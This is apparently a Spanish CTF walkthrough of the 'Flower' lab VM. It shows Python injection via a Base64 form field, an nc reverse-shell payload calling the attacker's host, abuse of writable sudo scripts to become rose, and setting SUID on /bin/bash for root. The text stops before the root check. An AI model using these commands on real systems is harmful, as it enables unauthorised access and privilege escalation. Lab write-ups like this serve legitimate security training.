Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-06 14:07 EDT
Nmap scan report for 192.168.5.6
Host is up (0.0025s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_http-server-header: Apache/2.4.38 (Debian)
MAC Address: 08:00:27:FC:0C:ED (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.34 seconds
Veremos que hay un puerto 80 en el que se aloja una pagina web, si entramos veremos lo siguiente:
Vemos como un selector de flores, si seleccionamos una y le damos a Submit veremos que nos cuenta los petalos que tiene dicha flor, vamos a capturar la peticion con BurpSuite a ver que vemos.
Veremos esta peticion si la capturamos, lo que estamos viendo en la parte de petals es un fragmento de codigo codificado en Base64 que si lo decodificamos veremos lo siguiente:
1+2
Vemos que esta realizando una suma, por lo que esta ejecutando algo por dentro, vamos a probar a codificar algun comando del sistema y ponerlo en la peticion para enviarlo, a ver si se ejecuta.
En la respuesta del servidor y en la propia pagina web, veremos lo siguiente:
<h2>
whoami petals
</h2>
Vemos que se esta mostrando directamente el codigo decodificado, por lo que algo por dentro lo esta decodificando, pero no lo esta ejecutando, por lo que vamos a probar a intentar realizar injecciones de comandos con python algunas simples.
Despues de estar un rato probando, si probamos a poner lo siguiente de forma codificada en Base64 veremos que funciona.
Este valor ZXhlYygnbmMgLWUgL2Jpbi9iYXNoIDE5Mi4xNjguNS40IDc3NzcnKQ== es igual a exec('nc -e /bin/bash <IP> <PORT>')
Antes de enviarlo nos pondremos a la escucha.
nc -lvnp <PORT>
Ahora si enviamos la peticion y volvemos a donde tenemos la escucha veremos lo siguiente:
listening on [any] 7777 ...
connect to [192.168.5.4] from (UNKNOWN) [192.168.5.6] 56492
whoami
www-data
Vemos que hemos obtenido acceso mediante el usuario www-data por lo que vamos a sanitizar la shell.
Sanitización de shell (TTY)
script /dev/null -c bash
# <Ctrl> + <z>
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash
# Para ver las dimensiones de nuestra consola en el Host
stty size
# Para redimensionar la consola ajustando los parametros adecuados
stty rows <ROWS> columns <COLUMNS>
Escalate user rose
Si hacemos sudo -l veremos lo siguiente:
Matching Defaults entries for www-data on flower:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User www-data may run the following commands on flower:
(rose) NOPASSWD: /usr/bin/python3 /home/rose/diary/diary.py
Vemos que podemos ejecutar el binario python3 respecto a la ruta absoluta del script de diary.py como el usuario rose.
Vamos a ver que permisos tiene dicha carpeta de la siguiente forma:
ls -la /home/rose/diary/
Info:
total 12
drwxrwxrwx 2 rose rose 4096 Nov 30 2020 .
drwxrwxr-x 3 rose rose 4096 Nov 30 2020 ..
-rw-r--r-- 1 rose rose 147 Nov 30 2020 diary.py
Vemos que tiene todos los permisos, por lo que podremos eliminar el archivo y poner lo que queramos dentro del mismo, vamos a realizarlo de la siguiente forma:
rm /home/rose/diary/diary.py
Tendremos que confirmarlo con una y y una vez eliminado vamos a meter lo siguiente:
Ahora lo guardamos y lo ejecutamos de la siguiente forma.
Nos vamos a poner a la escucha:
nc -lvnp <PORT>
Ahora con el usuario www-data ejecutaremos lo siguiente:
sudo -u rose python3 /home/rose/diary/diary.py
Y si volvemos a donde tenemos la escucha veremos lo siguiente:
listening on [any] 7755 ...
connect to [192.168.5.4] from (UNKNOWN) [192.168.5.6] 42938
whoami
rose
Vemos que hemos conseguido acceso al usuario rose por lo que vamos a sanitizar la shell.
Sanitización de shell (TTY)
script /dev/null -c bash
# <Ctrl> + <z>
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash
# Para ver las dimensiones de nuestra consola en el Host
stty size
# Para redimensionar la consola ajustando los parametros adecuados
stty rows <ROWS> columns <COLUMNS>
Vamos a leer la flag del usuario.
user.txt
HMV{R0ses_are_R3d$}
Escalate Privileges
Si hacemos sudo -l veremos lo siguiente:
Matching Defaults entries for rose on flower:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User rose may run the following commands on flower:
(root) NOPASSWD: /bin/bash /home/rose/.plantbook
Vemos que podemos ejecutar la bash con la ruta absoluta de .plantbook por lo que vamos a investigar un poco.
Si listamos los permisos que tiene veremos lo siguiente:
-rwx------ 1 rose rose 120 Nov 30 2020 .plantbook
Vemos que podemos editarlo, por lo que al final de las lineas vamos añadir lo siguiente:
nano /home/rose/.plantbook
#Dentro del nano
............................<RESTO DEL CODIGO>...................................
echo "Permisos establecidos de forma correcta..."
chmod u+s /bin/bash
Lo guardamos y lo ejecutamos de la siguiente forma:
sudo bash /home/rose/.plantbook
Info:
Hello, write the name of the flower that u found
test
Nice, test submitted on : Tue May 6 14:53:17 EDT 2025
Permisos establecidos de forma correcta...
Con esto vemos que se ha ejecutado de forma correcta, pero vamos a comprobarlo de la siguiente forma: